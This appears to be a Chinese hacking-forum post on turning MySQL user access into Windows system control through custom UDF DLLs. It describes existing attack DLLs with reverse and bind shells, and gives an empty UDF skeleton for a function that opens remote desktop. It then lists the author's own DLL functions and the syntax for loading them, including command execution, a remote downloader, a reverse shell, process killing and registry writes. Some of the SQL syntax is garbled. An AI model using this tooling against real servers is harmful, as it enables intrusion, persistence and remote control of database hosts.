mysql是一个常用的数据库系统,应用极广泛,如果得到一个mysql的用户权限,如果提升呢,下面这个思路很先进!但得有一定编程基础!
现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF，比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell，但是使用这个函数会造成MYSQL假死，前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了，造成了MYSQL当掉。my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。
MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：
程序代码
extern"C"__declspec(dllexport)my_boolopen3389_init(UDF_INIT*initid,UDF_ARGS*args,char*message)
{
//在open3389函数之前调用，一般用于初始化工作，为可选函数；
//return1出错,0正常
return0;
}
extern"C"__declspec(dllexport)char*open3389(UDF_INIT*initid,UDF_ARGS*args,char*result,unsignedlong*length,char*is_null,char*error)
{
//真正实现功能的函数，必需函数；
/*
函数内容;
return结果;
*/
}
extern"C"__declspec(dllexport)voidopen3389_deinit(UDF_INIT*initid)
{
//在open3389函数之后调用，一般用于内存释放，可选函数；
}
以上的open3389函数的返回值是char*类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。
在写MYSQLUDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。
以下是我写的UDF内容，它包含10个函数：
cmdshell执行cmd；
downloader下载者,到网上下载指定文件并保存到指定目录；
open3389通用开3389终端服务，可指定端口(不改端口无需重启)；
backshell反弹Shell；
ProcessView枚举系统进程；
KillProcess终止指定进程；
regread读注册表；
regwrite写注册表；
shut关机，注销，重启；
about说明与帮助函数；
使用方法:
创建函数：createfunction函数名(区分大小写)returnsstringsoname'dll名'(注意路径)；
删除函数：deletefunction函数名；
使用函数：select函数名(参数列表)；获取参数信息可使用select函数名("help")；
以上几个函数都经过多次的测试（测试平台：MYSQL5.0.24-community-nt、WindowsXP），不太可能会造成MYSQL假死等现象，但也不排除在特殊环境，特殊输入的情况下出错的可能，如发现bug可通知我，QQ：185826531（langouster）
